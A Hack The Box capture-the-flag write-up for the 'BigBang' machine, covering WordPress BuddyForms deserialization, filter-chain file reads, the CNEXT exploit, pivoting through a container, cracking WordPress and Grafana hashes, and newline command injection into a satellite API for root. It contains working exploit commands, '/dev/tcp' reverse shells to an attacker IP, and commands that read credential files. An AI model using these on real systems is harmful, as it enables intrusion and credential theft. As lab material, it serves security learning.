Hack The Box / LINUX / 2025-02-01
Hack The Box — BigBang (Linux)
BuddyForms insecure deserialization and filter-chain tricks leak WordPress secrets, CNEXT exploitation gives container RCE, credential reuse and Grafana DB cracking lead to developer, and command injection in the satellite API yields root.
Target
- IP:
10.129.212.153
Recon
sudo nmap -sC -sV 10.129.212.153 -p- -T5 -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 d4:15:77:1e:82:2b:2f:f1:cc:96:c6:28:c1:86:6b:3f (ECDSA)
|_ 256 6c:42:60:7b:ba:ba:67:24:0f:0c:ac:5d:be:92:0c:66 (ED25519)
80/tcp open http Apache httpd 2.4.62
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://blog.bigbang.htb/
|_http-server-header: Apache/2.4.62 (Debian)
Service Info: Host: blog.bigbang.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add blog.bigbang.htb to /etc/hosts.
Go to http://blog.bigbang.htb/.
It is a WordPress site.
Run WPScan:
wpscan --url http://blog.bigbang.htb/ -e ap --plugins-detection aggressive -v
[+] URL: http://blog.bigbang.htb/ [10.129.212.153]
[+] Started: Tue Jan 28 16:32:51 2025
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.62 (Debian)
| - X-Powered-By: PHP/8.3.2
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://blog.bigbang.htb/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://blog.bigbang.htb/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://blog.bigbang.htb/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://blog.bigbang.htb/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 6.5.4 identified (Insecure, released on 2024-06-05).
| Found By: Rss Generator (Passive Detection)
| - http://blog.bigbang.htb/?feed=rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
| - http://blog.bigbang.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
[+] WordPress theme in use: twentytwentyfour
| Location: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/
| Last Updated: 2024-11-13T00:00:00.000Z
| Readme: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/readme.txt
| [!] The version is out of date, the latest version is 1.3
| [!] Directory listing is enabled
| Style URL: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css
| Style Name: Twenty Twenty-Four
| Style URI: https://wordpress.org/themes/twentytwentyfour/
| Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collection of templates and patterns tailor to different needs, such as presenting a business, blogging and writing or showcasing work. A multitude of possibilities open up with just a few adjustments to color and typography. Twenty Twenty-Four comes with style variations and full page designs to help speed up the site building process, is fully compatible with the site editor, and takes advantage of new design tools introduced in WordPress 6.4.
| Author: the WordPress team
| Author URI: https://wordpress.org
| License: GNU General Public License v2 or later
| License URI: http://www.gnu.org/licenses/gpl-2.0.html
| Tags: one-column, custom-colors, custom-menu, custom-logo, editor-style, featured-images, full-site-editing, block-patterns, rtl-language-support, sticky-post, threaded-comments, translation-ready, wide-blocks, block-styles, style-variations, accessibility-ready, blog, portfolio, news
| Text Domain: twentytwentyfour
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 1.1 (80% confidence)
| Found By: Style (Passive Detection)
| - http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.1'
[+] Enumerating All Plugins (via Aggressive Methods)
Checking Known Locations - Time: 00:35:34 <===============================> (108831 / 108831) 100.00% Time: 00:35:34
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] akismet
| Location: http://blog.bigbang.htb/wp-content/plugins/akismet/
| Latest Version: 5.3.5
| Last Updated: 2024-11-19T02:02:00.000Z
|
| Found By: Known Locations (Aggressive Detection)
| - http://blog.bigbang.htb/wp-content/plugins/akismet/, status: 403
|
| The version could not be determined.
[+] buddyforms
| Location: http://blog.bigbang.htb/wp-content/plugins/buddyforms/
| Last Updated: 2024-09-25T04:52:00.000Z
| Readme: http://blog.bigbang.htb/wp-content/plugins/buddyforms/readme.txt
| [!] The version is out of date, the latest version is 2.8.13
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - http://blog.bigbang.htb/wp-content/plugins/buddyforms/, status: 200
|
| Version: 2.7.7 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://blog.bigbang.htb/wp-content/plugins/buddyforms/readme.txt
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Tue Jan 28 17:08:58 2025
[+] Requests Done: 108883
[+] Cached Requests: 7
[+] Data Sent: 30.064 MB
[+] Data Received: 36.967 MB
[+] Memory used: 446.121 MB
[+] Elapsed time: 00:36:07
There is a CVE for this BuddyForms version: CVE-2023-26326.
Useful reference:
https://medium.com/tenable-techblog/wordpress-buddyforms-plugin-unauthenticated-insecure-deserialization-cve-2023-26326-3becb5575ed8
Initial Access (WordPress -> CNEXT)
Upload malicious PHAR:
curl -X POST 'http://blog.bigbang.htb/wp-admin/admin-ajax.php' -d 'action=upload_image_from_url&url=http://10.10.16.15/evil.phar&id=1&accepted_files=image/gif'
{"status":"OK","response":"http:\/\/blog.bigbang.htb\/wp-content\/uploads\/2025\/01\/1.png","attachment_id":157}
Uploaded file is visible at:
http://blog.bigbang.htb/wp-content/uploads/2025/01/
Now attempt phar://:
curl -X POST 'http://blog.bigbang.htb/wp-admin/admin-ajax.php' -d 'action=upload_image_from_url&url=phar://../wp-content/uploads/2025/01/1.png&id=1'
{"status":"FAILED","response":"File type is not allowed."}
That does not work directly.
Use wrapwrap:
https://github.com/ambionics/wrapwrap
git clone https://github.com/ambionics/wrapwrap
python3 wrapwrap/wrapwrap.py /etc/passwd 'GIF' '' 1000
cat chain.txt
We get something like:
php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=/etc/passwd
Use the copied chain:
curl -X POST 'http://blog.bigbang.htb/wp-admin/admin-ajax.php' -d 'action=upload_image_from_url&url=roba_copiata&accepted_files=image/gif&id=1'
{"status":"OK","response":"http:\/\/blog.bigbang.htb\/wp-content\/uploads\/2025\/01\/1-2.png","attachment_id":157}
curl 'http://blog.bigbang.htb/wp-content/uploads/2025/01/1-2.png'
We get /etc/passwd.
Replace /etc/passwd with ../wp-config.php in payload and repeat.
We get wp-config.php with useful values:
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'wp_user' );
/** Database password */
define( 'DB_PASSWORD', 'wp_password' );
/** Database hostname */
define( 'DB_HOST', '172.17.0.1' );
Use cnext-exploits:
https://github.com/ambionics/cnext-exploits
git clone --recurse-submodules https://github.com/ambionics/cnext-exploits.git
We need to modify cnext_exploit.py.
Download target libc first.
Modify previous filter payload tail with:
convert.base64-decode/resource=php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc.so.6
Send curl requests and save output as target_libc.so.6_b64.
Remove extra bytes at beginning/end.
Decode base64:
base64 -d target_libc.so.6_b64 > target_libc.so.6
Verify:
file target_libc.so.6
chmod +x target_libc.so.6
Copy local libc into current folder:
cp /lib/x86_64-linux-gnu/libc.so.6 mylibc.so.6
Patch libc with script from breachforums (modified):
python3 patch_libc.py
See script my_cnet-exploit.py.
Listen:
nc -vlnp 4444
Run exploit:
python3 cnext-exploits/my_cnext-exploit.py 'http://blog.bigbang.htb/wp-admin/admin-ajax.php' 'bash -c "bash -i >& /dev/tcp/10.10.16.77/4444 0>&1"'
We get reverse shell as www-data.
Upgrade shell:
script -qc /bin/bash /dev/null
CRTL+z
stty raw -echo
fg
Docker Pivot to WordPress DB and User Shell
We discover we are inside a Docker container.
From wp-config.php we saw DB host 172.17.0.1 (Docker host).
Likely MySQL, but mysql tools are missing in container.
Forward port with chisel.
Download chisel and upload to container:
https://github.com/jpillora/chisel
Attacker:
./chisel server --port 8000 --reverse
Victim:
./chisel client http://10.10.16.77:8000 R:127.0.0.1:3306:172.17.0.1:3306
Connect to DB:
mysql -h 127.0.0.1 -u wp_user -p
Enter password wp_password.
use wordpress;
show databases;
use wordpress;
show tables;
select * from wp_users;
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+
| 1 | root | $P$Beh5HLRUlTi1LpLEAstRyXaaBOJICj1 | root | root@bigbang.htb | http://blog.bigbang.htb | 2024-05-31 13:06:58 | | 0 | root |
| 3 | shawking | $P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./ | shawking | shawking@bigbang.htb | | 2024-06-01 10:39:55 | | 0 | Stephen Hawking |
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+
Crack hash:
hashcat -a 0 ./hash ./rockyou.txt --username
Result:
shawking:$P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./:quantumphysics
SSH:
ssh shawking@blog.bigbang.htb
Use discovered password.
We get shell as shawking.
Grafana DB Loot -> developer
There is another user: developer.
In /opt/data there is grafana.db.
Copy it locally and inspect:
sqlite3 grafana.db
.tables
PRAGMA table_info('user');
0|id|INTEGER|1||1
1|version|INTEGER|1||0
2|login|TEXT|1||0
3|email|TEXT|1||0
4|name|TEXT|0||0
5|password|TEXT|0||0
6|salt|TEXT|0||0
7|rands|TEXT|0||0
8|company|TEXT|0||0
9|org_id|INTEGER|1||0
10|is_admin|INTEGER|1||0
11|email_verified|INTEGER|0||0
12|theme|TEXT|0||0
13|created|DATETIME|1||0
14|updated|DATETIME|1||0
15|help_flags1|INTEGER|1|0|0
16|last_seen_at|DATETIME|0||0
17|is_disabled|INTEGER|1|0|0
18|is_service_account|BOOLEAN|0|0|0
19|uid|TEXT|0||0
select * from user;
1|0|admin|admin@localhost||441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34|CFn7zMsQpf|CgJll8Bmss||1|1|0||2024-06-05 16:14:51|2024-06-05 16:16:02|0|2024-06-05 16:16:02|0|0|
2|0|developer|ghubble@bigbang.htb|George Hubble|7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960|4umebBJucv|0Whk1JNfa3||1|0|0||2024-06-05 16:17:32|2025-01-20 16:27:39|0|2025-01-20 16:27:19|0|0|ednvnl5nqhse8d
Download grafana2hashcat:
https://github.com/iamaldi/grafana2hashcat
Create hashes.txt:
441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34,CFn7zMsQpf
7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960,4umebBJucv
Convert:
python3 grafana2hashcat.py hashes.txt
sha256:10000:Q0ZuN3pNc1FwZg==:RBpxW9eI6SgXC+eVSxfLGd6DWi3t/ezoxlMnyx2bpr1H1w7bdCGwXZcGumFHy3GXOjQ=
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=
Put hashes into hash file and crack:
hashcat -a 0 ./hash ./rockyou.txt
Result:
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=:bigbang
We obtained developer password.
SSH:
ssh developer@blog.bigbang.htb
Use password bigbang.
We get shell as developer.
Root via Satellite API Command Injection
In home we notice android directory with satellite-app.apk.
Check running processes:
ps aux
Interesting process:
root 1672 0.0 1.7 246812 71160 ? Ssl 04:01 0:08 /usr/bin/python3 /root/satellite/app.py
Download satellite-app.apk locally.
Use apktool:
apktool d satellite-app.apk -o test
cd test
grep -nriE 'bigbang'
We find:
http://app.bigbang.htb:9090/command
Add app.bigbang.htb to /etc/hosts.
Decompile smali with smali2java:
https://github.com/AlexeySoshin/smali2java
git clone https://github.com/AlexeySoshin/smali2java.git
cd smali2java
go build
cd ..
./smali2java/smali2java -path_to_smali=./test/smali
In test/smali/u there is inal.java with:
final String v9 = "http://app.bigbang.htb:9090/login"
Alternative:
d2j-dex2jar satellite-app.apk
This generates a jar. Open with jd-gui.
In u/f.class:
uRL2 = new URL();
this("http://app.bigbang.htb:9090/login");
HttpURLConnection httpURLConnection = (HttpURLConnection)uRL2.openConnection();
httpURLConnection.setRequestMethod("POST");
httpURLConnection.setRequestProperty("Content-Type", "application/json");
httpURLConnection.setRequestProperty("Accept", "application/json");
httpURLConnection.setDoOutput(true);
OutputStream outputStream = httpURLConnection.getOutputStream();
In q0/b.class:
URL uRL = new URL();
this("http://app.bigbang.htb:9090/command");
HttpURLConnection httpURLConnection = (HttpURLConnection)uRL.openConnection();
httpURLConnection.setRequestMethod("POST");
httpURLConnection.setRequestProperty("Content-Type", "application/json");
StringBuilder stringBuilder = new StringBuilder();
this("Bearer ");
stringBuilder.append(this.b.p);
httpURLConnection.setRequestProperty("Authorization", stringBuilder.toString());
httpURLConnection.setDoOutput(true);
stringBuilder = new StringBuilder();
this("{\"command\": \"send_image\", \"output_file\": \"");
stringBuilder.append(this.a);
stringBuilder.append("\"}");
String str = stringBuilder.toString();
OutputStream outputStream = httpURLConnection.getOutputStream();
In com/satellite.bigbang there are:
MainActivityLoginActivityMoveCommandActivityTakePictureActivity
More code notes:
JSONObject jSONObject = new JSONObject();
this();
jSONObject.put("username", str1);
jSONObject.put("password", str2);
str1 = jSONObject.toString();
JSONObject jSONObject = new JSONObject();
this();
jSONObject.put("command", "move");
jSONObject.put("x", Float.parseFloat(str3));
jSONObject.put("y", Float.parseFloat(str4));
jSONObject.put("z", Float.parseFloat(str5));
str3 = jSONObject.toString();
f f = new f();
this((ContextWrapper)object, 2);
f.execute((Object[])new String[] { str3 });
On developer shell:
ss -ltpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:41061 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 4096 172.17.0.1:3306 0.0.0.0:*
LISTEN 0 128 127.0.0.1:9090 0.0.0.0:*
LISTEN 0 4096 [::]:80 [::]:*
LISTEN 0 128 [::]:22 [::]:*
Port 9090 is localhost-only. Forward it:
ssh developer@blog.bigbang.htb -NL 9090:localhost:9090
Test login endpoint:
curl -X POST 'http://127.0.0.1:9090/login' -H 'Content-Type: application/json' -d '{}' -v
{"error":"Missing username or password"}
curl -X POST 'http://127.0.0.1:9090/login' -H 'Content-Type: application/json' -d '{"username": "developer", "password": "bigbang"}' -v
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODU5NjM2NywianRpIjoiMjExZmJiMGQtNTQ1Ny00MDE3LTgwZWEtYTA3YzQ0NjQ0NTUzIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODU5NjM2NywiY3NyZiI6ImE1NDNhMmRmLWQ3MjItNDg5Mi1iMDEwLTQ5ZDhkNzhjMWRmMCIsImV4cCI6MTczODU5OTk2N30.dm59T3mYO6pS3rYqWh2KOTFyxsIuTZmp7HhBLae0i34"}
Test command endpoint:
curl -X POST 'http://127.0.0.1:9090/command' -d 'aaaaa' -v
{"msg":"Missing Authorization Header"}
curl -X POST 'http://127.0.0.1:9090/command' -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODU5NjM2NywianRpIjoiMjExZmJiMGQtNTQ1Ny00MDE3LTgwZWEtYTA3YzQ0NjQ0NTUzIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODU5NjM2NywiY3NyZiI6ImE1NDNhMmRmLWQ3MjItNDg5Mi1iMDEwLTQ5ZDhkNzhjMWRmMCIsImV4cCI6MTczODU5OTk2N30.dm59T3mYO6pS3rYqWh2KOTFyxsIuTZmp7HhBLae0i34' -H 'Content-Type: application/json' -d '{}' -v
{"error":"Invalid command"}
curl -X POST 'http://127.0.0.1:9090/command' -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODU5NjM2NywianRpIjoiMjExZmJiMGQtNTQ1Ny00MDE3LTgwZWEtYTA3YzQ0NjQ0NTUzIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODU5NjM2NywiY3NyZiI6ImE1NDNhMmRmLWQ3MjItNDg5Mi1iMDEwLTQ5ZDhkNzhjMWRmMCIsImV4cCI6MTczODU5OTk2N30.dm59T3mYO6pS3rYqWh2KOTFyxsIuTZmp7HhBLae0i34' -H 'Content-Type: application/json' -d '{"command": "whoami"}' -v
{"error":"Invalid command"}
curl -X POST 'http://127.0.0.1:9090/command' -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODU5NjM2NywianRpIjoiMjExZmJiMGQtNTQ1Ny00MDE3LTgwZWEtYTA3YzQ0NjQ0NTUzIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODU5NjM2NywiY3NyZiI6ImE1NDNhMmRmLWQ3MjItNDg5Mi1iMDEwLTQ5ZDhkNzhjMWRmMCIsImV4cCI6MTczODU5OTk2N30.dm59T3mYO6pS3rYqWh2KOTFyxsIuTZmp7HhBLae0i34' -H 'Content-Type: application/json' -d '{"command": "send_image", "output_file": "/dev/shm/test.png"}' -v
{"error":"Invalid command"}
curl -X POST 'http://127.0.0.1:9090/command' -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODU5NjM2NywianRpIjoiMjExZmJiMGQtNTQ1Ny00MDE3LTgwZWEtYTA3YzQ0NjQ0NTUzIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODU5NjM2NywiY3NyZiI6ImE1NDNhMmRmLWQ3MjItNDg5Mi1iMDEwLTQ5ZDhkNzhjMWRmMCIsImV4cCI6MTczODU5OTk2N30.dm59T3mYO6pS3rYqWh2KOTFyxsIuTZmp7HhBLae0i34' -H 'Content-Type: application/json' -d '{"command": "send_image", "output_file": "1.png"}' -v
A file is created. Running command again gives:
{"error":"Error generating image: Error copying file: File exists\n"}
Inject newline payload:
curl -X POST 'http://127.0.0.1:9090/command' -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODU5OTk3OSwianRpIjoiYjg5MTE0NzctMzJmMC00YjNhLWI5MjEtNDZlZTQzM2FjNDk2IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODU5OTk3OSwiY3NyZiI6IjA5ZThmZDQ4LTZiM2ItNDI2OC04YTY3LTliOWNlYTU0N2JlYyIsImV4cCI6MTczODYwMzU3OX0.QajOEo62NFzOro7Sj4ZBYfM9AVGS8ZxzlMWMffFOk6Y' -H 'Content-Type: application/json' -d '{"command": "send_image", "output_file": "\nsleep 3"}' -v
The web app pauses for 3 seconds.
On victim, create /dev/shm/rev with content:
bash -i >& /dev/tcp/10.10.16.77/4444 0>&1
On attacker:
nc -vlnp 4444
Execute:
curl -X POST 'http://127.0.0.1:9090/command' -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODU5OTk3OSwianRpIjoiYjg5MTE0NzctMzJmMC00YjNhLWI5MjEtNDZlZTQzM2FjNDk2IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODU5OTk3OSwiY3NyZiI6IjA5ZThmZDQ4LTZiM2ItNDI2OC04YTY3LTliOWNlYTU0N2JlYyIsImV4cCI6MTczODYwMzU3OX0.QajOEo62NFzOro7Sj4ZBYfM9AVGS8ZxzlMWMffFOk6Y' -H 'Content-Type: application/json' -d '{"command": "send_image", "output_file": "\nbash /dev/shm/rev"}' -v
We get a reverse shell as root.
Root Cause in Code
In /root/satellite/app.py, these characters are filtered:
def contains_dangerous_chars(input_str):
dangerous_chars = [
';', # Separador de comandos
"'", # Comilla simple
'"', # Comilla doble
'\\', # Barra invertida
'&', # Ejecución en paralelo
'|', # Pipe
'$', # Expansión de variables
'(', # Paréntesis de apertura
')', # Paréntesis de cierre
'>', # Redirección de salida
'<', # Redirección de entrada
'`', # Acento grave
'!', # Ejecución de comandos del historial
'+', # Puede ser usado en algunos contextos para comandos
'#', # Comentarios en shell
'*', # Wildcard (comodín)
'?', # Wildcard (comodín)
'[', # Inicio de clase de caracteres en expresiones regulares
']', # Fin de clase de caracteres en expresiones regulares
'{', # Inicio de bloque de comandos o parámetros en algunas shells
'}', # Fin de bloque de comandos o parámetros en algunas shells
'^', # Redirección de error en algunas shells
'%' # Puede tener usos especiales en algunas shells
]
return any(char in input_str for char in dangerous_chars)
send_image handler:
elif command == 'send_image':
output_file = request.json.get('output_file')
if not output_file:
return jsonify({'error': 'Output file path must be provided'}), 400
if contains_dangerous_chars(output_file):
return jsonify({'error': 'Output file path contains dangerous characters'}), 400
try:
image_data = generate_random_image(output_file)
return send_file(BytesIO(image_data), mimetype='image/png')
except RuntimeError as e:
return jsonify({'error': str(e)}), 500
else:
return jsonify({'error': 'Invalid command'}), 400
generate_random_image function:
def generate_random_image(output_file):
try:
result = subprocess.run(f'/usr/local/bin/image-tool --get-image {output_file}',
check=True, shell=True, capture_output=True, text=True)
print(f"STDOUT: {result.stdout}") # Log the standard output
print(f"STDERR: {result.stderr}") # Log the standard error
except subprocess.CalledProcessError as e:
print(f"Error executing image-tool: {e.stderr}")
raise RuntimeError(f'Error generating image: {e.stderr}')
try:
with open(output_file, 'rb') as file:
return file.read()
except Exception as e:
raise RuntimeError(f'Error reading image file: {str(e)}')
Because command is built with shell=True, newline injection bypasses blacklist and leads to command execution.